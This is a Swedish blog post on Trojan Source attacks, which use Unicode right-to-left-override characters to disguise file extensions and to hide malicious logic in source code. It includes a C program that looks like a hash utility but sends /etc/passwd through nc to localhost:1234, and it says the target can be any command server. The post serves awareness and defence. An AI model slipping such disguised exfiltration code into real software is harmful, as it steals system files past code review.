Trojankod
What you see is what you get…. Eller?
Att gå efter filtypstillägg är en vanlig strategi bland lekmän för att bedöma om en fil kan vara skadlig; man öppnar en .jpg fil men inte en .exe fil som kommer som en bilaga. Skulle du öppna följande fil?
Vid första anblick ser det ut att vara en vanlig bild som har filnamnet BeautifulAnnexe.jpg.
men i verkligheten är filnamnet Beautiful Ann<202e>.gpj.exe
där <202e>
är Unicode-tecknet för right-to-left-override. [1] Right-to-left-override ändrar textströmmen efter strängen till att presenteras från höger till vänster för att kunna representera flerspråkiga dokument där ett språk som skrivs från höger till vänster ingår såsom Arabiska.
Problemet
Att kontrolltecken för textriktning kan utnyttjas i bedrägliga syften har varit känt sedan länge [2] men nyligen publicerades en rapport [3] om hur detta kan utnyttjas i källkod i ett supply-chain-angrepp. Detta genom att få skadlig kod att gå igenom kodgranskning när koden såsom den presenteras inte motsvarar hur den tolkas av en kompilator eller interpretator. [4]
För att exemplifiera hur oförväntad kod kan passera kodgranskning har jag skrivit följande lilla C-program. Det ser ut som ett väldigt invecklat program för att läsa den lokala filen message.txt
i samma katalog och skriva ut sha256 summan av innehållet.
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
int main()
{
int fd=open( /* message file */"/etc/passwd",O_RDONLY);// ;(YLNODR_O ,"txt.egassem/."/*
dup2(fd,0);
char *argv[]={"/", /*last argument*/"-q","0","localhost","1234",(char*)0};// ;{0(* rahc) /*
execvp( /*program to print hash*/"nc",argv);// ;(vgra,"mus652ahs" /*
close(fd);
return 0;
}
Öppnar man filen i vim avslöjas innehållet dock. Programmet öppnar /etc/passwd
och skickar filen med nc
till localhost:1234
(vilket kan ändras till valfri kommandoserver).
Det finns helt klart en risk att oönskade bakdörrar och annat ont tar sig igenom kodgranskning när de som granskar koden ofta använder program där kontrolltecken för textriktning inte syns. Alla använder inte hexeditorer eller vim!
[1] Unicode symbol Right-to-left-override
[2] Kerbs on Security – ‘Right-to-Left Override’ Aids Email Attacks
[3] Nicholas Boucher and Ross Anderson – Trojan Source:
Invisible Vulnerabilities
[4] Kerbs on Security – ‘Trojan Source’ Bug Threatens the Security of All Code